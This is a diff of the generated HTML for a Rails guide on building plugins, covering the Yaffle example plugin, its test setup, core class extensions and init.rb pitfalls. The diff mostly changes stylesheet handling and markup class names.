-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>The Basics of Creating Rails Plugins</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_setup">Setup</a>
- <ul>
-
- <li><a href="#_create_the_basic_app">Create the basic app</a></li>
-
- <li><a href="#_generate_the_plugin_skeleton">Generate the plugin skeleton</a></li>
-
- <li><a href="#_organize_your_files">Organize your files</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_tests">Tests</a>
- <ul>
-
- <li><a href="#_test_setup">Test Setup</a></li>
-
- <li><a href="#_run_the_plugin_tests">Run the plugin tests</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_extending_core_classes">Extending core classes</a>
- <ul>
-
- <li><a href="#_working_with_init_rb">Working with init.rb</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_add_an_em_acts_as_em_method_to_active_record">Add an <em>acts_as</em> method to Active Record</a>
- <ul>
-
- <li><a href="#_add_a_class_method">Add a class method</a></li>
-
- <li><a href="#_add_an_instance_method">Add an instance method</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_models">Models</a>
- </li>
- <li>
- <a href="#_controllers">Controllers</a>
- </li>
- <li>
- <a href="#_helpers">Helpers</a>
- </li>
- <li>
- <a href="#_routes">Routes</a>
- </li>
- <li>
- <a href="#_generators">Generators</a>
- <ul>
-
- <li><a href="#_testing_generators">Testing generators</a></li>
-
- <li><a href="#_the_usage_file">The USAGE file</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_generator_commands">Generator Commands</a>
- </li>
- <li>
- <a href="#_migrations">Migrations</a>
- <ul>
-
- <li><a href="#_create_a_custom_rake_task">Create a custom rake task</a></li>
-
- <li><a href="#_call_migrations_directly">Call migrations directly</a></li>
-
- <li><a href="#_generate_migrations">Generate migrations</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_rake_tasks">Rake tasks</a>
- </li>
- <li>
- <a href="#_plugingems">PluginGems</a>
- </li>
- <li>
- <a href="#_rdoc_documentation">RDoc Documentation</a>
- </li>
- <li>
- <a href="#_appendix">Appendix</a>
- <ul>
-
- <li><a href="#_references">References</a></li>
-
- <li><a href="#_contents_of_em_lib_yaffle_rb_em">Contents of <em>lib/yaffle.rb</em></a></li>
-
- <li><a href="#_final_plugin_directory_structure">Final plugin directory structure</a></li>
-
- </ul>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>The Basics of Creating Rails Plugins</h1>
- <div id="preamble">
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_setup">Setup</a>
+ <ul>
+
+ <li><a href="#_create_the_basic_app">Create the basic app</a></li>
+
+ <li><a href="#_generate_the_plugin_skeleton">Generate the plugin skeleton</a></li>
+
+ <li><a href="#_organize_your_files">Organize your files</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_tests">Tests</a>
+ <ul>
+
+ <li><a href="#_test_setup">Test Setup</a></li>
+
+ <li><a href="#_run_the_plugin_tests">Run the plugin tests</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_extending_core_classes">Extending core classes</a>
+ <ul>
+
+ <li><a href="#_working_with_init_rb">Working with init.rb</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_add_an_em_acts_as_em_method_to_active_record">Add an <em>acts_as</em> method to Active Record</a>
+ <ul>
+
+ <li><a href="#_add_a_class_method">Add a class method</a></li>
+
+ <li><a href="#_add_an_instance_method">Add an instance method</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_models">Models</a>
+ </li>
+ <li>
+ <a href="#_controllers">Controllers</a>
+ </li>
+ <li>
+ <a href="#_helpers">Helpers</a>
+ </li>
+ <li>
+ <a href="#_routes">Routes</a>
+ </li>
+ <li>
+ <a href="#_generators">Generators</a>
+ <ul>
+
+ <li><a href="#_testing_generators">Testing generators</a></li>
+
+ <li><a href="#_the_usage_file">The USAGE file</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_generator_commands">Generator Commands</a>
+ </li>
+ <li>
+ <a href="#_migrations">Migrations</a>
+ <ul>
+
+ <li><a href="#_create_a_custom_rake_task">Create a custom rake task</a></li>
+
+ <li><a href="#_call_migrations_directly">Call migrations directly</a></li>
+
+ <li><a href="#_generate_migrations">Generate migrations</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_rake_tasks">Rake tasks</a>
+ </li>
+ <li>
+ <a href="#_plugingems">PluginGems</a>
+ </li>
+ <li>
+ <a href="#_rdoc_documentation">RDoc Documentation</a>
+ </li>
+ <li>
+ <a href="#_appendix">Appendix</a>
+ <ul>
+
+ <li><a href="#_references">References</a></li>
+
+ <li><a href="#_contents_of_em_lib_yaffle_rb_em">Contents of <em>lib/yaffle.rb</em></a></li>
+
+ <li><a href="#_final_plugin_directory_structure">Final plugin directory structure</a></li>
+
+ </ul>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>The Basics of Creating Rails Plugins</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>A Rails plugin is either an extension or a modification of the core framework. Plugins provide:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>A Rails plugin is either an extension or a modification of the core framework. Plugins provide:</p></div>
+<div class="ulist"><ul>
<li>
<p>
a way for developers to share bleeding-edge ideas without hurting the stable code base
@@ -321,8 +153,8 @@ an outlet for the core developers so that they don’t have to include every coo
</p>
</li>
</ul></div>
-<div class="para"><p>After reading this guide you should be familiar with:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>After reading this guide you should be familiar with:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Creating a plugin from scratch
@@ -359,8 +191,8 @@ Avoiding common pitfalls with <em>init.rb</em>
</p>
</li>
</ul></div>
-<div class="para"><p>This guide describes how to build a test-driven plugin that will:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>This guide describes how to build a test-driven plugin that will:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Extend core ruby classes like Hash and String
@@ -392,13 +224,13 @@ A custom route method that can be used in routes.rb
</p>
</li>
</ul></div>
-<div class="para"><p>For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness. First, you need to get setup for development.</p></div>
+<div class="paragraph"><p>For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness. First, you need to get setup for development.</p></div>
</div>
</div>
<h2 id="_setup">1. Setup</h2>
<div class="sectionbody">
<h3 id="_create_the_basic_app">1.1. Create the basic app</h3>
-<div class="para"><p>The examples in this guide require that you have a working rails application. To create a simple rails app execute:</p></div>
+<div class="paragraph"><p>The examples in this guide require that you have a working rails application. To create a simple rails app execute:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>gem install rails
@@ -408,32 +240,32 @@ script/generate scaffold bird name:string
rake db:migrate
script/server</tt></pre>
</div></div>
-<div class="para"><p>Then navigate to <a href="http://localhost:3000/birds">http://localhost:3000/birds</a>. Make sure you have a functioning rails app before continuing.</p></div>
+<div class="paragraph"><p>Then navigate to <a href="http://localhost:3000/birds">http://localhost:3000/birds</a>. Make sure you have a functioning rails app before continuing.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
<td class="content">
-<div class="title">Editor's note:</div>The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs.</td>
+<div class="title">Editor&#8217;s note:</div>The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs.</td>
</tr></table>
</div>
<h3 id="_generate_the_plugin_skeleton">1.2. Generate the plugin skeleton</h3>
-<div class="para"><p>Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either <em>CamelCased</em> or <em>under_scored</em>, as an argument. Pass <tt>--with-generator</tt> to add an example generator also.</p></div>
-<div class="para"><p>This creates a plugin in <em>vendor/plugins</em> including an <em>init.rb</em> and <em>README</em> as well as standard <em>lib</em>, <em>task</em>, and <em>test</em> directories.</p></div>
-<div class="para"><p>Examples:</p></div>
+<div class="paragraph"><p>Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either <em>CamelCased</em> or <em>under_scored</em>, as an argument. Pass <tt>--with-generator</tt> to add an example generator also.</p></div>
+<div class="paragraph"><p>This creates a plugin in <em>vendor/plugins</em> including an <em>init.rb</em> and <em>README</em> as well as standard <em>lib</em>, <em>task</em>, and <em>test</em> directories.</p></div>
+<div class="paragraph"><p>Examples:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>./script/generate plugin yaffle
./script/generate plugin yaffle --with-generator</tt></pre>
</div></div>
-<div class="para"><p>To get more detailed help on the plugin generator, type <tt>./script/generate plugin</tt>.</p></div>
-<div class="para"><p>Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the <tt>--with-generator</tt> option now:</p></div>
+<div class="paragraph"><p>To get more detailed help on the plugin generator, type <tt>./script/generate plugin</tt>.</p></div>
+<div class="paragraph"><p>Later on this guide will describe how to work with generators, so go ahead and generate your plugin with the <tt>--with-generator</tt> option now:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>./script/generate plugin yaffle --with-generator</tt></pre>
</div></div>
-<div class="para"><p>You should see the following output:</p></div>
+<div class="paragraph"><p>You should see the following output:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>create vendor/plugins/yaffle/lib
@@ -455,7 +287,7 @@ create vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb
create vendor/plugins/yaffle/generators/yaffle/USAGE</tt></pre>
</div></div>
<h3 id="_organize_your_files">1.3. Organize your files</h3>
-<div class="para"><p>To make it easy to organize your files and to make the plugin more compatible with GemPlugins, start out by altering your file system to look like this:</p></div>
+<div class="paragraph"><p>To make it easy to organize your files and to make the plugin more compatible with GemPlugins, start out by altering your file system to look like this:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>|-- lib
@@ -465,20 +297,19 @@ create vendor/plugins/yaffle/generators/yaffle/USAGE</tt></pre>
|
`-- init.rb</tt></pre>
</div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/rails/init.rb</strong></p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/rails/init.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'yaffle'</span>
-</tt></pre></div></div>
-<div class="para"><p>Now you can add any <em>require</em> statements to <em>lib/yaffle.rb</em> and keep <em>init.rb</em> clean.</p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'yaffle'</span></tt></pre></div></div>
+<div class="paragraph"><p>Now you can add any <em>require</em> statements to <em>lib/yaffle.rb</em> and keep <em>init.rb</em> clean.</p></div>
</div>
<h2 id="_tests">2. Tests</h2>
<div class="sectionbody">
-<div class="para"><p>In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. To setup your plugin to allow for easy testing you'll need to add 3 files:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. To setup your plugin to allow for easy testing you&#8217;ll need to add 3 files:</p></div>
+<div class="ulist"><ul>
<li>
<p>
A <em>database.yml</em> file with all of your connection strings
@@ -496,7 +327,7 @@ A test helper method that sets up the database
</li>
</ul></div>
<h3 id="_test_setup">2.1. Test Setup</h3>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/database.yml:</strong></p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/database.yml:</strong></p></div>
<div class="listingblock">
<div class="content">
<pre><tt>sqlite:
@@ -521,8 +352,8 @@ mysql:
:password: password
:database: yaffle_plugin_test</tt></pre>
</div></div>
-<div class="para"><p>For this guide you'll need 2 tables/models, Hickwalls and Wickwalls, so add the following:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/schema.rb:</strong></p></div>
+<div class="paragraph"><p>For this guide you&#8217;ll need 2 tables/models, Hickwalls and Wickwalls, so add the following:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/schema.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -542,9 +373,8 @@ http://www.gnu.org/software/src-highlite -->
create_table <span style="color: #990000">:</span>woodpeckers<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/test_helper.rb:</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/test_helper.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -583,12 +413,11 @@ ENV<span style="color: #990000">[</span><span style="color: #FF0000">'RAILS_ROOT
ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>establish_connection<span style="color: #990000">(</span>config<span style="color: #990000">[</span>db_adapter<span style="color: #990000">])</span>
<span style="font-weight: bold"><span style="color: #0000FF">load</span></span><span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">"/schema.rb"</span><span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/../rails/init.rb'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now whenever you write a test that requires the database, you can call <em>load_schema</em>.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Now whenever you write a test that requires the database, you can call <em>load_schema</em>.</p></div>
<h3 id="_run_the_plugin_tests">2.2. Run the plugin tests</h3>
-<div class="para"><p>Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in <em>vendor/plugins/yaffle/test/yaffle_test.rb</em> with a sample test. Replace the contents of that file with:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/yaffle_test.rb:</strong></p></div>
+<div class="paragraph"><p>Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in <em>vendor/plugins/yaffle/test/yaffle_test.rb</em> with a sample test. Replace the contents of that file with:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/yaffle_test.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -610,15 +439,14 @@ http://www.gnu.org/software/src-highlite -->
assert_equal <span style="color: #990000">[],</span> Wickwall<span style="color: #990000">.</span>all
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To run this, go to the plugin directory and run <tt>rake</tt>:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>To run this, go to the plugin directory and run <tt>rake</tt>:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>cd vendor/plugins/yaffle
rake</tt></pre>
</div></div>
-<div class="para"><p>You should see output like:</p></div>
+<div class="paragraph"><p>You should see output like:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>/opt/local/bin/ruby -Ilib:lib "/opt/local/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake/rake_test_loader.rb" "test/yaffle_test.rb"
@@ -637,7 +465,7 @@ Finished in 0.002236 seconds.
1 test, 1 assertion, 0 failures, 0 errors</tt></pre>
</div></div>
-<div class="para"><p>By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:</p></div>
+<div class="paragraph"><p>By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>rake DB=sqlite
@@ -645,13 +473,13 @@ rake DB=sqlite3
rake DB=mysql
rake DB=postgresql</tt></pre>
</div></div>
-<div class="para"><p>Now you are ready to test-drive your plugin!</p></div>
+<div class="paragraph"><p>Now you are ready to test-drive your plugin!</p></div>
</div>
<h2 id="_extending_core_classes">3. Extending core classes</h2>
<div class="sectionbody">
-<div class="para"><p>This section will explain how to add a method to String that will be available anywhere in your rails app.</p></div>
-<div class="para"><p>In this example you will add a method to String named <tt>to_squawk</tt>. To begin, create a new test file with a few assertions:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/core_ext_test.rb</strong></p></div>
+<div class="paragraph"><p>This section will explain how to add a method to String that will be available anywhere in your rails app.</p></div>
+<div class="paragraph"><p>In this example you will add a method to String named <tt>to_squawk</tt>. To begin, create a new test file with a few assertions:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/core_ext_test.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -663,15 +491,14 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_to_squawk_prepends_the_word_squawk
assert_equal <span style="color: #FF0000">"squawk! Hello World"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"Hello World"</span><span style="color: #990000">.</span>to_squawk
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Navigate to your plugin directory and run <tt>rake test</tt>:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Navigate to your plugin directory and run <tt>rake test</tt>:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>cd vendor/plugins/yaffle
rake test</tt></pre>
</div></div>
-<div class="para"><p>The test above should fail with the message:</p></div>
+<div class="paragraph"><p>The test above should fail with the message:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt> 1) Error:
@@ -679,18 +506,17 @@ test_to_squawk_prepends_the_word_squawk(CoreExtTest):
NoMethodError: undefined method `to_squawk' for "Hello World":String
./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'</tt></pre>
</div></div>
-<div class="para"><p>Great - now you are ready to start development.</p></div>
-<div class="para"><p>Then in <em>lib/yaffle.rb</em> require <em>lib/core_ext.rb</em>:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
+<div class="paragraph"><p>Great - now you are ready to start development.</p></div>
+<div class="paragraph"><p>Then in <em>lib/yaffle.rb</em> require <em>lib/core_ext.rb</em>:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/core_ext"</span>
-</tt></pre></div></div>
-<div class="para"><p>Finally, create the <em>core_ext.rb</em> file and add the <em>to_squawk</em> method:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/core_ext.rb</strong></p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/core_ext"</span></tt></pre></div></div>
+<div class="paragraph"><p>Finally, create the <em>core_ext.rb</em> file and add the <em>to_squawk</em> method:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle/core_ext.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -700,9 +526,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> to_squawk
<span style="color: #FF0000">"squawk! #{self}"</span><span style="color: #990000">.</span>strip
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To test that your method does what it says it does, run the unit tests with <tt>rake</tt> from your plugin directory. To see this in action, fire up a console and start squawking:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>To test that your method does what it says it does, run the unit tests with <tt>rake</tt> from your plugin directory. To see this in action, fire up a console and start squawking:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>$ ./script/console
@@ -710,10 +535,10 @@ http://www.gnu.org/software/src-highlite -->
=&gt; "squawk! Hello World"</tt></pre>
</div></div>
<h3 id="_working_with_init_rb">3.1. Working with init.rb</h3>
-<div class="para"><p>When rails loads plugins it looks for the file named <em>init.rb</em> or <em>rails/init.rb</em>. However, when the plugin is initialized, <em>init.rb</em> is invoked via <tt>eval</tt> (not <tt>require</tt>) so it has slightly different behavior.</p></div>
-<div class="para"><p>Under certain circumstances if you reopen classes or modules in <em>init.rb</em> you may inadvertently create a new class, rather than reopening an existing class. A better alternative is to reopen the class in a different file, and require that file from <tt>init.rb</tt>, as shown above.</p></div>
-<div class="para"><p>If you must reopen a class in <tt>init.rb</tt> you can use <tt>module_eval</tt> or <tt>class_eval</tt> to avoid any issues:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/rails/init.rb</strong></p></div>
+<div class="paragraph"><p>When rails loads plugins it looks for the file named <em>init.rb</em> or <em>rails/init.rb</em>. However, when the plugin is initialized, <em>init.rb</em> is invoked via <tt>eval</tt> (not <tt>require</tt>) so it has slightly different behavior.</p></div>
+<div class="paragraph"><p>Under certain circumstances if you reopen classes or modules in <em>init.rb</em> you may inadvertently create a new class, rather than reopening an existing class. A better alternative is to reopen the class in a different file, and require that file from <tt>init.rb</tt>, as shown above.</p></div>
+<div class="paragraph"><p>If you must reopen a class in <tt>init.rb</tt> you can use <tt>module_eval</tt> or <tt>class_eval</tt> to avoid any issues:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/rails/init.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -723,10 +548,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> is_a_special_hash?
<span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Another way is to explicitly define the top-level module space for all modules and classes, like <tt>::Hash</tt>:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/rails/init.rb</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Another way is to explicitly define the top-level module space for all modules and classes, like <tt>::Hash</tt>:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/rails/init.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -736,14 +560,13 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> is_a_special_hash?
<span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
<h2 id="_add_an_em_acts_as_em_method_to_active_record">4. Add an <em>acts_as</em> method to Active Record</h2>
<div class="sectionbody">
-<div class="para"><p>A common pattern in plugins is to add a method called <em>acts_as_something</em> to models. In this case, you want to write a method called <em>acts_as_yaffle</em> that adds a <em>squawk</em> method to your models.</p></div>
-<div class="para"><p>To begin, set up your files so that you have:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></p></div>
+<div class="paragraph"><p>A common pattern in plugins is to add a method called <em>acts_as_something</em> to models. In this case, you want to write a method called <em>acts_as_yaffle</em> that adds a <em>squawk</em> method to your models.</p></div>
+<div class="paragraph"><p>To begin, set up your files so that you have:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -752,17 +575,15 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ActsAsYaffleTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
